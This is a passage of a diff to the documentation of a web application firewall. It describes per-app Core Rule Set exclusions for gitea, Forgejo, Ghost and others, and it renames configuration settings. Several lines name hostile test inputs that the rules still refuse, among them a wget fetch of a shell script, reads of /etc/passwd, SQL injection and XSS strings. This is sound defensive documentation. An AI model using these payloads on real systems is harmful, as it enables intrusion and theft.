repositories and emails.
|
||||
|
||||
Most send `q` in the query string. The admin forms that adopt a
|
||||
repository or activate an email send it in the body. gitea serves its
|
||||
admin pages under `/-/admin/` and Forgejo under `/admin/`.
|
||||
|
||||
- Two fields of the API's searches other than `q`, for the same four rules:
|
||||
- `query` of the search of unadopted repositories, which holds an owner
|
||||
and a name, such as `alice/python3-app`;
|
||||
- `name` of the search of a repository's milestones.
|
||||
|
||||
- Fields of the package registries' searches:
|
||||
- `text` of the npm registry's search, for the same four rules and the
|
||||
rule for shell paths (932160). An npm name can hold a slash, as
|
||||
`@alice/tools-cli` does.
|
||||
- `searchTerm` of the NuGet registry's searches `Search()` and
|
||||
`Packages()`, for the same four rules.
|
||||
- `$filter` of those two searches, for the lists of system files and
|
||||
Windows commands (930120, 932120). It holds an expression such as
|
||||
`tolower(Id) eq 'python3'`.
|
||||
- The names `$filter`, `$orderby` and `$top` on those two searches, for
|
||||
the rule for MongoDB operators (942290). It refused every such search.
|
||||
- `q` of a Conan search, for the rule for SQL injection (942100), which
|
||||
refused the pattern `zlib/*`. `q` skips it only when the query string
|
||||
has one `q`, made only of letters, digits, `_`, `.`, `+`, `-`, `/`,
|
||||
`@` and `*`.
|
||||
|
||||
- The path of these requests, which names a file:
|
||||
- a file's page;
|
||||
- its raw file;
|
||||
@@ -1002,8 +971,8 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
|
||||
and `fix-powershell-module` were refused.
|
||||
`; wget http://example.com/x.sh` and path traversal are still refused in
|
||||
these fields. These exclusions matter only while
|
||||
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when
|
||||
the query has a parameter of the same name.
|
||||
`SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. None applies when the query
|
||||
has a parameter of the same name.
|
||||
|
||||
- `id` of the forms that adopt or delete an unadopted repository, for the
|
||||
rules that refused repository names (930120, 932120, 932160, 932260). `id`
|
||||
@@ -1097,8 +1066,7 @@ The fields are:
|
||||
the lists of system files, shell paths, command names and JavaScript names
|
||||
(930120, 932120, 932160, 932260, 941180).
|
||||
- These fields of a body. Each applies only when the query has no parameter of
|
||||
that name, so it matters only while
|
||||
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set:
|
||||
that name, so it matters only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set:
|
||||
- `content` of a post, a page, a template or a template part saved through
|
||||
the REST API. It holds HTML and any code it shows.
|
||||
- `content` of a reply to a comment sent to `admin-ajax.php`.
|
||||
@@ -1225,8 +1193,8 @@ These fields of a body skip the rules that refused them:
|
||||
for the same four rules.
|
||||
- `mail` on those forms, for 930120, 932120 and 932260 only.
|
||||
|
||||
These exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE`
|
||||
is set. None applies when the query has a parameter of the same name.
|
||||
These exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set.
|
||||
None applies when the query has a parameter of the same name.
|
||||
|
||||
Elsewhere these fields keep every rule. The paths are those of Drupal at the
|
||||
site root, with or without a language prefix such as `/fr`. Such a prefix is any
|
||||
@@ -1326,9 +1294,8 @@ These fields of a body skip the rules that refused them:
|
||||
have a namespace, such as `Special:`. The title follows `/index.php/` or
|
||||
`/wiki/` in the path, or is the `title` of `/index.php`.
|
||||
|
||||
These body exclusions matter only while
|
||||
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query
|
||||
has a parameter of the same name.
|
||||
These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is
|
||||
set. None applies when the query has a parameter of the same name.
|
||||
|
||||
The names of uploaded files skip 932180 on MediaWiki's pages and on `/api.php`,
|
||||
so a picture named `Notes on .htaccess.png` can be uploaded. MediaWiki refuses a
|
||||
@@ -1481,9 +1448,8 @@ items.
|
||||
`<img src=x onerror=x()>` sent as a password reach Mastodon;
|
||||
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
|
||||
|
||||
These body exclusions matter only while
|
||||
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query
|
||||
has a parameter of the same name.
|
||||
These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is
|
||||
set. None applies when the query has a parameter of the same name.
|
||||
|
||||
The names of uploaded files skip 932180 on these paths:
|
||||
|
||||
@@ -1548,9 +1514,8 @@ The addresses skip them on these paths too:
|
||||
- `/api/auth-requests` and the paths under it, for signing in with another
|
||||
device.
|
||||
|
||||
These body exclusions matter only while
|
||||
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query
|
||||
has a parameter of the same name.
|
||||
These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is
|
||||
set. None applies when the query has a parameter of the same name.
|
||||
|
||||
`username` in the query of `/api/hibp/breach`, the data breach report, skips
|
||||
930120, 932120 and 932260 too.
|
||||
@@ -1723,11 +1688,10 @@ A CalDAV or CardDAV client finds these paths with a `PROPFIND` on
|
||||
`/.well-known/caldav` or `/.well-known/carddav`. That method is allowed on those
|
||||
two paths.
|
||||
|
||||
These body exclusions matter only while
|
||||
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies to a JSON
|
||||
field when the query has a parameter of that name, such as `json.message`.
|
||||
Nextcloud's pages are matched at the site root and under `/index.php/`.
|
||||
Elsewhere these fields keep every rule.
|
||||
These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is
|
||||
set. None applies to a JSON field when the query has a parameter of that name,
|
||||
such as `json.message`. Nextcloud's pages are matched at the site root and under
|
||||
`/index.php/`. Elsewhere these fields keep every rule.
|
||||
|
||||
Forgejo's fixes: Forgejo is a fork of gitea, so a hostname listing `forgejo`
|
||||
gets gitea's fixes too. Forgejo's own fixes hold only what Forgejo sends and
|
||||
@@ -1774,7 +1738,7 @@ Forgejo renames a branch at `/<owner>/<repo>/settings/rename_branch`, where
|
||||
gitea uses `/<owner>/<repo>/branches/rename`. There, as on gitea's path, `from`
|
||||
and `to` skip the lists of Windows commands and command names (932120, 932260),
|
||||
which refused `fix-powershell-module` and `feat/docker-support`. This matters
|
||||
only while `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set.
|
||||
only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set.
|
||||
|
||||
The Core Rule Set reads the request without the `flash` cookie, in which Forgejo
|
||||
puts what gitea puts in `gitea_flash` (gitea's second fix).
|
||||
@@ -1783,87 +1747,35 @@ Ghost's fixes: on Ghost's paths, some fields skip the rules that refused
|
||||
ordinary Ghost requests there. `internal/coreruleset/ghost.conf` lists each rule
|
||||
and the request it refused. Ghost's admin and integrations call the Admin API
|
||||
under `/ghost/api/admin/`. Themes and Ghost's scripts call the Content API under
|
||||
`/ghost/api/content/`, and members call `/members/api/`. The admin calls
|
||||
ActivityPub, a service of its own, under `/.ghost/activitypub/`.
|
||||
`/ghost/api/content/`, and members call `/members/api/`.
|
||||
|
||||
Eight rules refused words that name commands and files, such as `python3`,
|
||||
`ls -la`, `.htaccess` and the title `powershell & python3`. They are 930120,
|
||||
932120, 932125, 932230, 932235, 932250, 932260 and 932380.
|
||||
Three query fields skip some rules:
|
||||
|
||||
These query fields skip some rules:
|
||||
|
||||
- `filter`, a query in Ghost's own filter language, skips those eight rules
|
||||
except 930120, on the Admin API and the Content API;
|
||||
- `filter`, a query in Ghost's own filter language, skips 932120 on the Admin
|
||||
API and the Content API, so `tag:powershell` passes;
|
||||
- `search`, a search for a member, skips 930120, 932120, 932250 and 932260 on
|
||||
the Admin API;
|
||||
- `url`, the address the editor looks up for an embed or a bookmark, skips
|
||||
930120 and 932120;
|
||||
- `source` and the `utm_` fields, which filter the analytics, skip those eight
|
||||
rules under `/ghost/api/admin/stats/`;
|
||||
- `pathname`, the page the analytics show, skips 930120, 932120 and 932260
|
||||
there;
|
||||
- `email_segment`, the members a post is sent to as a newsletter, skips 932120
|
||||
on the Admin API's posts;
|
||||
- `query`, a search for an account in ActivityPub, skips those eight rules;
|
||||
- `email`, when an invitation is checked, skips 930120, 932120 and 932260.
|
||||
930120 and 932120.
|
||||
|
||||
The fields of JSON bodies where a person types plain text skip those eight
|
||||
rules. They are these fields of posts, pages, tags, labels, members, newsletters
|
||||
and snippets, on the Admin API:
|
||||
The fields of JSON bodies where a person types plain text skip 930120, 932120,
|
||||
932125, 932230, 932250, 932260 and 932380. They are these fields of posts,
|
||||
pages, tags, labels, members, newsletters and snippets, on the Admin API:
|
||||
|
||||
- `title`, `name` and `slug`;
|
||||
- a post's `tags` and a member's `labels`, by name or slug;
|
||||
- `custom_excerpt`, `description`, `note` and `sender_name`;
|
||||
- the `meta_`, `og_` and `twitter_` titles and descriptions.
|
||||
|
||||
These fields on the Admin API skip them too:
|
||||
A member's `name` at `/members/api/` skips them too. A member's `email` skips
|
||||
930120, 932120 and 932260, at `/members/api/` and when the admin adds or edits a
|
||||
member. A staff user's address skips them too: `username` when signing in, and
|
||||
`email` when creating the first staff user, asking for a password reset or
|
||||
saving a profile.
|
||||
|
||||
- a staff user's `name`, `slug`, `bio`, `location` and `website`;
|
||||
- `blogTitle` and `name` when creating the first staff user;
|
||||
- `name` when accepting an invitation;
|
||||
- `name`, `description` and `benefits` of tiers;
|
||||
- `name`, `code`, `display_title` and `display_description` of offers;
|
||||
- `title`, `description` and `excerpt` of recommendations;
|
||||
- `name` and `description` of integrations, and `name` of webhooks;
|
||||
- `feature_image_alt` and `feature_image_caption` of posts and pages.
|
||||
|
||||
These fields skip them on their own paths:
|
||||
|
||||
- a member's `name` at `/members/api/`;
|
||||
- `html` of a member's comment at `/members/api/comments/`;
|
||||
- `labels`, when the admin imports members from a CSV file;
|
||||
- `content` of a note or a reply in ActivityPub, and `image.altText`, the
|
||||
description of its image;
|
||||
- `name`, `username` and `bio` of the account in ActivityPub.
|
||||
|
||||
A member's `email` skips 930120, 932120 and 932260, at `/members/api/` and when
|
||||
the admin adds or edits a member. A staff user's address skips them too. It is
|
||||
sent as `username` when signing in, and as `email` in these requests:
|
||||
|
||||
- creating the first staff user;
|
||||
- asking for a password reset;
|
||||
- saving a profile;
|
||||
- inviting a staff user;
|
||||
- accepting an invitation.
|
||||
|
||||
In ActivityPub, an account's handle and its address skip 930120 and 932120. The
|
||||
domain of the site's handle skips 930120, 932120 and 932260. Each field skips
|
||||
its rules only on its own path:
|
||||
|
||||
- `sourceHandle`, an account that moves here, when it is added at
|
||||
`/.ghost/activitypub/v1/aliases`;
|
||||
- `actorUri`, that account's address, when the admin removes it there;
|
||||
- `targetHandle`, the account this one moves to, at
|
||||
`/.ghost/activitypub/v1/migration`;
|
||||
- `domain`, saved at `/.ghost/activitypub/v1/domain` and checked at
|
||||
`/.ghost/activitypub/v1/domain/validate`.
|
||||
|
||||
The `canonical_url` of a post, a page or a tag skips 930120 and 932120, as `url`
|
||||
does. Each skips them only on its own path:
|
||||
|
||||
- a post's under `/ghost/api/admin/posts/`;
|
||||
- a page's under `/ghost/api/admin/pages/`;
|
||||
- a tag's under `/ghost/api/admin/tags/`.
|
||||
The `canonical_url` of a post or a page skips 930120 and 932120, as `url` does.
|
||||
A post's skips them under `/ghost/api/admin/posts/`, and a page's under
|
||||
`/ghost/api/admin/pages/`.
|
||||
|
||||
The articles carry HTML on purpose. These fields on the Admin API hold them:
|
||||
|
||||
@@ -1883,14 +1795,12 @@ The articles skip these rules:
|
||||
Code injection is the HTML that Ghost adds to the head and the foot of a page.
|
||||
These fields on the Admin API hold it:
|
||||
|
||||
- `codeinjection_head` and `codeinjection_foot` of posts, pages and tags;
|
||||
- `codeinjection_head` and `codeinjection_foot` of posts and pages;
|
||||
- `value` of settings, since the site's settings hold its code injection.
|
||||
|
||||
Code injection skips these rules:
|
||||
|
||||
- 930120, 932120, 932125, 932230, 932235, 932250, 932260 and 932380, which
|
||||
refused words that name commands and files, such as the site's title
|
||||
`powershell & python3`;
|
||||
- 930120, 932120, 932125, 932230, 932250, 932260 and 932380, as plain text does;
|
||||
- 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>`
|
||||
elements.
|
||||
|
||||
@@ -1899,22 +1809,15 @@ card can embed a widget and code injection can load analytics. These are the
|
||||
fields, on the Admin API:
|
||||
|
||||
- `lexical`, `mobiledoc` and `html` of posts and pages;
|
||||
- `codeinjection_head` and `codeinjection_foot` of posts, pages and tags;
|
||||
- `codeinjection_head` and `codeinjection_foot` of posts and pages;
|
||||
- `value` of settings.
|
||||
|
||||
`<script>alert(1)</script>` is still refused in snippets and newsletters.
|
||||
`javascript:alert(1)` is still refused in the articles and code injection
|
||||
(941170 and 941210). Path traversal and SQL injection are still refused in every
|
||||
field above. Script injection is too, outside the articles and code injection.
|
||||
|
||||
`; wget http://example.com/x.sh` is still refused in these fields:
|
||||
|
||||
- the addresses, the handles and the domain;
|
||||
- the `canonical_url` of posts, pages and tags;
|
||||
- `search`, `url`, `pathname`, `email_segment` and `email`.
|
||||
|
||||
The other fields above skip 932235, which refuses that command but also refuses
|
||||
`powershell & python3`.
|
||||
`; wget http://example.com/x.sh` is still refused in the query fields, the plain
|
||||
text, the addresses and the canonical URLs.
|
||||
|
||||
Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
|
||||
That name holds `.profile`, a file on the list of system files, so the name
|
||||
@@ -1927,10 +1830,9 @@ resetting or changing a password. `' OR '1'='1`, `../../etc/passwd`,
|
||||
`; cat /etc/passwd` and `<img src=x onerror=x()>` sent as a password reach
|
||||
Ghost; `<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
|
||||
|
||||
These body exclusions matter only while
|
||||
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query
|
||||
has a parameter of the same name. Elsewhere these fields keep every rule. The
|
||||
paths are those of Ghost at the site root.
|
||||
These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is
|
||||
set. None applies when the query has a parameter of the same name. Elsewhere
|
||||
these fields keep every rule. The paths are those of Ghost at the site root.
|
||||
|
||||
Each app's fixes switch rules off for some of its fields and cookies. Any other
|
||||
app on a hostname that gets those fixes must check those fields and cookies
|
||||
@@ -2012,7 +1914,7 @@ together.
|
||||
- an answer in `127.255.255.0/24`;
|
||||
- an answer outside `127.0.0.0/8`;
|
||||
- a resolver error;
|
||||
- no answer within `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`.
|
||||
- no answer within `SWW_WAF_REPUTATION_TIMEOUT`.
|
||||
|
||||
DNS blocklists made for mail servers list residential ranges, and would
|
||||
block ordinary visitors, so they should not be used. Spamhaus zones need
|
||||
@@ -2037,13 +1939,13 @@ together.
|
||||
after which no client is checked for a minute, when:
|
||||
- AbuseIPDB answers other than `200`;
|
||||
- the answer gives no score;
|
||||
- no answer comes within `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`.
|
||||
- `SWW_WAF_DNSBL_ABUSEIPDB_ACTION`, for DNS blocklist and AbuseIPDB hits, is
|
||||
- no answer comes within `SWW_WAF_REPUTATION_TIMEOUT`.
|
||||
- `SWW_WAF_REPUTATION_ACTION`, for DNS blocklist and AbuseIPDB hits, is
|
||||
`limit:25` by default. Such verdicts are less certain than a blocklist, so a
|
||||
listed client gets a quarter of every request and byte limit rather than a
|
||||
refusal.
|
||||
- Verdicts and scores are kept for `SWW_WAF_IP_REPUTATION_CACHE_TTL`, in memory
|
||||
and in `dnsbl.json` and `abuseipdb-scores.json`. A source that is down or over
|
||||
- Verdicts and scores are kept for `SWW_WAF_REPUTATION_CACHE_TTL`, in memory and
|
||||
in `dnsbl.json` and `abuseipdb-scores.json`. A source that is down or over
|
||||
quota gives no verdict. The service continues. Each failure raises a
|
||||
`source_failure` alert (see "Alerting").
|
||||
|
||||
@@ -2080,13 +1982,13 @@ which the metrics show. They reveal a widely distributed scraper, thousands of
|
||||
addresses at low rates each, which the per-client limits do not see. A low
|
||||
percentage for its `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` is the response.
|
||||
|
||||
- Requests and body bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted
|
||||
per minute and per hour, for each of:
|
||||
- Requests and body bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted per
|
||||
minute and per hour, for each of:
|
||||
- a client;
|
||||
- the surrounding netblock;
|
||||
- an AS number;
|
||||
- the whole service;
|
||||
- a named netblock in `SWW_WAF_ANOMALY_WATCHED_NETS`.
|
||||
- a named netblock in `SWW_WAF_WATCH_NETS`.
|
||||
- Every request `waf` answers with `allow`, `deny` or `close` is counted, an
|
||||
allowed one when its report comes. That holds whatever was done with it, and
|
||||
for clients in `SWW_WAF_ALLOW_NETS` and `SWW_WAF_RATE_LIMIT_EXEMPT_NETS`,
|
||||
@@ -2095,9 +1997,9 @@ percentage for its `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` is the response.
|
||||
|
||||
## Rule files
|
||||
|
||||
`waf` reads every `*.rules` file in `SWW_WAF_RULE_FILES_DIR` and checks each
|
||||
request against them. `docs/rules.md` gives the format, the targets and actions,
|
||||
and the default file.
|
||||
`waf` reads every `*.rules` file in `SWW_WAF_RULES_DIR` and checks each request
|
||||
against them. `docs/rules.md` gives the format, the targets and actions, and the
|
||||
default file.
|
||||
|
||||
- The files are plain text meant to be edited by hand, so that a new scanning
|
||||
pattern seen in the request log becomes a rule in one line. `waf` watches the
|
||||
@@ -2126,9 +2028,9 @@ and the default file.
|
||||
- a regex that does not compile;
|
||||
- a duplicate id.
|
||||
|
||||
So does a `SWW_WAF_RULE_FILES_DIR` that does not exist or cannot be read.
|
||||
While running, the same faults leave the rules as they were, and the log and
|
||||
one `file_error` alert name the file and line. Once the file is fixed, it is
|
||||
So does a `SWW_WAF_RULES_DIR` that does not exist or cannot be read. While
|
||||
running, the same faults leave the rules as they were, and the log and one
|
||||
`file_error` alert name the file and line. Once the file is fixed, it is
|
||||
read again. An empty directory is not an error: the log says that no rules
|
||||
were loaded.
|
||||
|
||||
@@ -2138,13 +2040,13 @@ and the default file.
|
||||
`/<owner>/<repo>/src/branch/main/.env.example` is a file in a repository that
|
||||
any visitor may open. Anchor the paths of your own `ban` rules at the site
|
||||
root too. A rule has one target, so a `path` rule applies on every site behind
|
||||
that `waf`. A directory mounted over `SWW_WAF_RULE_FILES_DIR` replaces the
|
||||
default file; single files mounted into it add to it.
|
||||
that `waf`. A directory mounted over `SWW_WAF_RULES_DIR` replaces the default
|
||||
file; single files mounted into it add to it.
|
||||
- Rules meant to be edited while `waf` runs belong in a mounted directory, not a
|
||||
mounted file. Many editors save a file by replacing it, and a container keeps
|
||||
seeing the old one when the file alone is mounted. The lookup database is
|
||||
mounted the same way, for the same reason. To run without rule files, mount an
|
||||
empty directory or set `SWW_WAF_RULE_FILES_ENABLED=false`.
|
||||
empty directory or set `SWW_WAF_RULES_ENABLED=false`.
|
||||
|
||||
## Persistent state
|
||||
|
||||
@@ -2231,8 +2133,8 @@ lists the files, what each holds, and their sizes.
|
||||
in the metrics and sent as one `file_error` alert per cooldown, and retried at
|
||||
the next write.
|
||||
- A hard kill loses the changes since the last write: ban changes from the last
|
||||
`SWW_WAF_BANS_WRITE_DELAY`, everything else from the last
|
||||
`SWW_WAF_STATE_WRITE_INTERVAL`. Losing the volume loses ban history, not
|
||||
`SWW_WAF_STATE_WRITE_DELAY`, everything else from the last
|
||||
`SWW_WAF_STATE_COUNTER_INTERVAL`. Losing the volume loses ban history, not
|
||||
service.
|
||||
|
||||
## Request log
|
||||
@@ -2258,11 +2160,10 @@ lines to stdout only.
|
||||
severity informational, the time, the host's name and the app name from
|
||||
`SWW_WAF_LOG_REMOTE_APP_NAME`.
|
||||
- Sending happens on its own goroutine from a buffer of
|
||||
`SWW_WAF_LOG_REMOTE_BUFFER_LINES` lines, so a server that is slow or down
|
||||
never holds up a request and never stops stdout. When the buffer is full, the
|
||||
oldest line is dropped and counted in the metrics. A failed connection is
|
||||
tried again a second later, and twice as long after each further failure, up
|
||||
to a minute.
|
||||
`SWW_WAF_LOG_REMOTE_BUFFER` lines, so a server that is slow or down never
|
||||
holds up a request and never stops stdout. When the buffer is full, the oldest
|
||||
line is dropped and counted in the metrics. A failed connection is tried again
|
||||
a second later, and twice as long after each further failure, up to a minute.
|
||||
- As `waf` stops, it spends at most two seconds sending the lines still waiting,
|
||||
and drops the rest; stdout has carried them.
|
||||
|
||||
@@ -2409,23 +2310,21 @@ In `observe` mode a request that `enforce` mode would refuse is answered
|
||||
answered `404`.
|
||||
|
||||
The Core Rule Set inspects the body a question carries only while
|
||||
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. It inspects at most 64 KiB
|
||||
less one byte. So it does not inspect a JSON or XML body of 64 KiB or more,
|
||||
which may have been cut short.
|
||||
`SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. It inspects at most 64 KiB less one
|
||||
byte. So it does not inspect a JSON or XML body of 64 KiB or more, which may
|
||||
have been cut short.
|
||||
|
||||
### Answering in time
|
||||
|
||||
`rproxy` stops waiting for `waf` after `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, by
|
||||
default 2 seconds, and `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` then
|
||||
decides. The longest a question waits on an outside source is
|
||||
`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS`, by default 800 milliseconds, well
|
||||
within that time.
|
||||
`rproxy` stops waiting for `waf` after `SWW_RPROXY_TIMEOUT_MS`, by default 2
|
||||
seconds, and `SWW_RPROXY_DEFAULT_DISPOSITION` then decides. The longest a
|
||||
question waits on an outside source is `SWW_WAF_LOOKUP_TIMEOUT`, by default 800
|
||||
milliseconds, well within that time.
|
||||
|
||||
GeoJS is the only outside source a question can wait on. A question waits only
|
||||
when step 6 says so, and for at most
|
||||
`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS`, by default 800 milliseconds. A
|
||||
client without an answer by then counts as unknown. No question waits on these,
|
||||
which run in the background:
|
||||
when step 6 says so, and for at most `SWW_WAF_LOOKUP_TIMEOUT`, by default 800
|
||||
milliseconds. A client without an answer by then counts as unknown. No question
|
||||
waits on these, which run in the background:
|
||||
|
||||
- the DNS blocklists and AbuseIPDB;
|
||||
- fetching the blocklists, the tag lists, the CrowdSec decision list and the
|
||||
@@ -2442,16 +2341,15 @@ In `enforce` mode, a question does not wait for GeoJS when it is a request:
|
||||
Such a request still goes through the steps in their order. Its client's AS
|
||||
number and country stay unknown until GeoJS has answered. So while
|
||||
`SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` is set, that list can refuse it first.
|
||||
`SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` does not apply to it until then, so not
|
||||
waiting never lowers its limit.
|
||||
`SWW_WAF_UNKNOWN_LIMIT_PERCENT` does not apply to it until then, so not waiting
|
||||
never lowers its limit.
|
||||
|
||||
The header limits, the static lists and bans come before the lookup, so they
|
||||
never wait. These can still wait for GeoJS:
|
||||
|
||||
- a country list, which needs the answer;
|
||||
- a rate limit a percentage has lowered, which needs the answer;
|
||||
- a DNS blocklist or AbuseIPDB, while `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` is
|
||||
`deny`;
|
||||
- a DNS blocklist or AbuseIPDB, while `SWW_WAF_REPUTATION_ACTION` is `deny`;
|
||||
- a trap path;
|
||||
- a rule file;
|
||||
- the Core Rule Set.
|
||||
@@ -2481,8 +2379,7 @@ other check runs on it.
|
||||
The Core Rule Set runs each of its rules on each cookie, so thousands of small
|
||||
cookies would keep it busy for over a second. Within the limits, one long cookie
|
||||
or query string can still keep it busy for a fraction of a second. So enough
|
||||
such requests at once can overload `waf` past
|
||||
`SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`.
|
||||
such requests at once can overload `waf` past `SWW_RPROXY_TIMEOUT_MS`.
|
||||
|
||||
### The report
|
||||
|
||||
@@ -2521,7 +2418,7 @@ answer.
|
||||
For a request it holds, `waf` writes the request's last log line (see "The
|
||||
log"). For a request it allowed, it first:
|
||||
|
||||
- counts the body bytes `SWW_WAF_BYTES_COUNTED` names, toward the client's byte
|
||||
- counts the body bytes `SWW_WAF_BYTES_COUNT` names, toward the client's byte
|
||||
limits at the percentages it gave that request;
|
||||
- bans a client whose total passes a byte limit;
|
||||
- adds the request with its status to the client's history, the anomaly counters
|
||||
@@ -2588,9 +2485,9 @@ request and ban notes name the site by its host.
|
||||
`sww rproxy` is the reverse proxy in front of one app. It asks `waf` about each
|
||||
request, and passes on what `waf` allows. It keeps nothing between requests and
|
||||
writes nothing to disk. When `waf` cannot be connected to, does not answer at
|
||||
all, or does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`,
|
||||
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` decides. Its default, `allow`,
|
||||
keeps the site answering.
|
||||
all, or does not answer within `SWW_RPROXY_TIMEOUT_MS`,
|
||||
`SWW_RPROXY_DEFAULT_DISPOSITION` decides. Its default, `allow`, keeps the site
|
||||
answering.
|
||||
|
||||
`rproxy` reads only its `SWW_RPROXY_` settings, which `docs/settings.md` lists.
|
||||
One of them is required: `SWW_RPROXY_WAF_BACKEND`, `waf`'s URL. It has no
|
||||
@@ -2681,37 +2578,36 @@ log line has status `0`.
|
||||
|
||||
### Without an answer from `waf`
|
||||
|
||||
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` decides what is done with the
|
||||
request only when `waf`:
|
||||
`SWW_RPROXY_DEFAULT_DISPOSITION` decides what is done with the request only when
|
||||
`waf`:
|
||||
|
||||
- cannot be connected to;
|
||||
- does not answer at all;
|
||||
- does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, which covers
|
||||
connecting, sending the question and reading the whole answer.
|
||||
- does not answer within `SWW_RPROXY_TIMEOUT_MS`, which covers connecting,
|
||||
sending the question and reading the whole answer.
|
||||
|
||||
An answer whose body breaks off counts as no answer at all.
|
||||
|
||||
`allow`, the default, passes the request to the app. `deny` answers `503`.
|
||||
Either way `rproxy` writes a process warning, its log line has
|
||||
`waf_backend_no_answer`, and it sends no report.
|
||||
`default_disposition`, and it sends no report.
|
||||
|
||||
A visitor can make `waf` slow. A request that keeps `waf` busy past
|
||||
`SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, like any request while `waf` is overloaded,
|
||||
gets `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION`. With `deny`, such a request
|
||||
gets `503` instead of reaching the app.
|
||||
`SWW_RPROXY_TIMEOUT_MS`, like any request while `waf` is overloaded, gets
|
||||
`SWW_RPROXY_DEFAULT_DISPOSITION`. With `deny`, such a request gets `503` instead
|
||||
of reaching the app.
|
||||
|
||||
A path under `/_sww/` that `allow` would pass on is answered `404` instead, so
|
||||
that the app never sees that prefix.
|
||||
|
||||
`rproxy` cannot pass on an answer whose body is over 1 MiB or whose status is
|
||||
below `200`. The visitor gets `502` from `rproxy`, whatever
|
||||
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` says. `rproxy` writes a process
|
||||
warning, its log line has no `disposition`, and it sends no report.
|
||||
below `200`. The visitor gets `502` from `rproxy`, never the default. `rproxy`
|
||||
writes a process warning, its log line has no `disposition`, and it sends no
|
||||
report.
|
||||
|
||||
A visitor that goes away while `waf` is being asked is no failure of `waf`.
|
||||
`rproxy` closes the connection with no warning and no report, and
|
||||
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` does not apply. Its log line has
|
||||
status `0` and no `disposition`.
|
||||
`rproxy` closes the connection, with no warning, no default and no report. Its
|
||||
log line has status `0` and no `disposition`.
|
||||
|
||||
### Passing a request to the app
|
||||
|
||||
@@ -2814,8 +2710,8 @@ those at `info` or more severe are written.
|
||||
|
||||
On `SIGTERM` or `SIGINT`, `rproxy` stops taking requests and gives those in
|
||||
progress five seconds to finish. It then waits for the reports on their way,
|
||||
each for up to `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. A report that comes due
|
||||
after that is dropped, such as that of a WebSocket that closes later.
|
||||
each for up to `SWW_RPROXY_TIMEOUT_MS`. A report that comes due after that is
|
||||
dropped, such as that of a WebSocket that closes later.
|
||||
|
||||
## Deployment
|
||||
|
||||
@@ -2909,14 +2805,13 @@ process that stops at start is started again every second, not in a tight loop.
|
||||
does not stop. Beside an app, the other process keeps running.
|
||||
- While `rproxy` is down, traefik answers `502`. While the app is down, `rproxy`
|
||||
answers `502`, which is not a client offence. While `waf` is down,
|
||||
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` decides (see "Without an answer
|
||||
from `waf`").
|
||||
`SWW_RPROXY_DEFAULT_DISPOSITION` decides (see "Without an answer from `waf`").
|
||||
- Only faults found at start stop `waf`:
|
||||
- invalid configuration;
|
||||
- a lookup database that is missing or unreadable;
|
||||
- a rule file or state file that does not parse;
|
||||
- an unwritable `SWW_WAF_STATE_DIR` or `SWW_WAF_CACHE_DIR`;
|
||||
- a `SWW_WAF_RULE_FILES_DIR` that does not exist or cannot be read;
|
||||
- a `SWW_WAF_RULES_DIR` that does not exist or cannot be read;
|
||||
- a `SWW_WAF_LISTEN_ADDR` it cannot listen on.
|
||||
- Only an invalid setting, or a `SWW_RPROXY_LISTEN_ADDR` it cannot listen on,
|
||||
stops `rproxy`.
|
||||
|
||||
+2
-3
@@ -6,7 +6,7 @@ the `instance` label as `exported_instance` unless the scrape sets
|
||||
`honor_labels: true`. `rproxy` has no metrics.
